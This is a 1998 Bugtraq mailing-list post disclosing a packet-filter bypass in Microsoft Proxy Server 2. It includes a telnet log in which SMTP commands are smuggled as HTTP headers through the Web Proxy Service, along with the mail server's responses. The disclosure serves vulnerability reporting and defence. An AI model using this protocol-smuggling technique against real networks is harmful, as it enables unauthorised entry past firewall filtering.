Bugtraq mailing list archives
WARNING: By-passing MS Proxy packet filtering
From: mnemonix () GLOBALNET CO UK (Mnemonix)
Date: Wed, 7 Oct 1998 07:10:49 +0100
Whilst playing around with Microsoft's Proxy Server 2, I came across an interesting "feature" that could allow someone to by-pass packet filtering if enabled. The essence of the "exploit" is to connect to a remote host on a given port - in the example provided I have used the SMTP port (25) - through the Web Proxy Service. What you attempt to do is disguise service-specific commands as HTTP headers. Below is a log of a telnet session where I've telnetted to the Web Proxy Service, made a GET request and passed off the SMTP commands as HTTP headers: ------------------------------------------8<-------------------------------- ---------- GET http://smtpmail.globalnet.co.uk:25/ HTTP/1.0 mail from: me () here com rcpt to: mnemonix () globalnet co uk data: Subject: This is the Subject Line : This is the body of the message. To get here do a Ctrl+J. To place a single dot on a line do another Ctrl+J . 220 sand2.global.net.uk ESMTP Exim 1.92 #1 Wed, 7 Oct 1998 06:51:37 +0100 500 Command unrecognized 500 Command unrecognized 500 Command unrecognized 250 <me () here com> is syntactically correct 250 <mnemonix () globalnet co uk> is syntactically correct 354 Enter message, ending with "." on a line by itself 250 OK id=0zQmVd-0007md-00 500 Command unrecognized 500 Command unrecognized ------------------------------------------8<-------------------------------- --------- If the packet filter only allows incoming HTTP requests and the Web-Proxy Service gives Everybody access this could be used to gain entry to the "protected" network. This was tested on NT Server 4.0, Service Pack 3 with important hotfixes, IIS 3.0 and MS Proxy 2.0 l8r Mnemonix http://www.diligence.co.uk/ http://www.infowar.co.uk/mnemonix
Current thread:
- Possible DoS in rsh Shivan Dragon (Oct 06)
- WARNING: By-passing MS Proxy packet filtering Mnemonix (Oct 06)
- tooltalk vulnerable on Digital Unix ?? Andrew Daviel (Oct 08)
- Re: Possible DoS in rsh Nick Andrew (Oct 08)
- Secure Locate v1.0 Kevin Lindsay (Oct 08)
- Re: Possible DoS in rsh Kragen (Oct 15)
- <Possible follow-ups>
- Re: Possible DoS in rsh Henrik Nordstrom (Oct 08)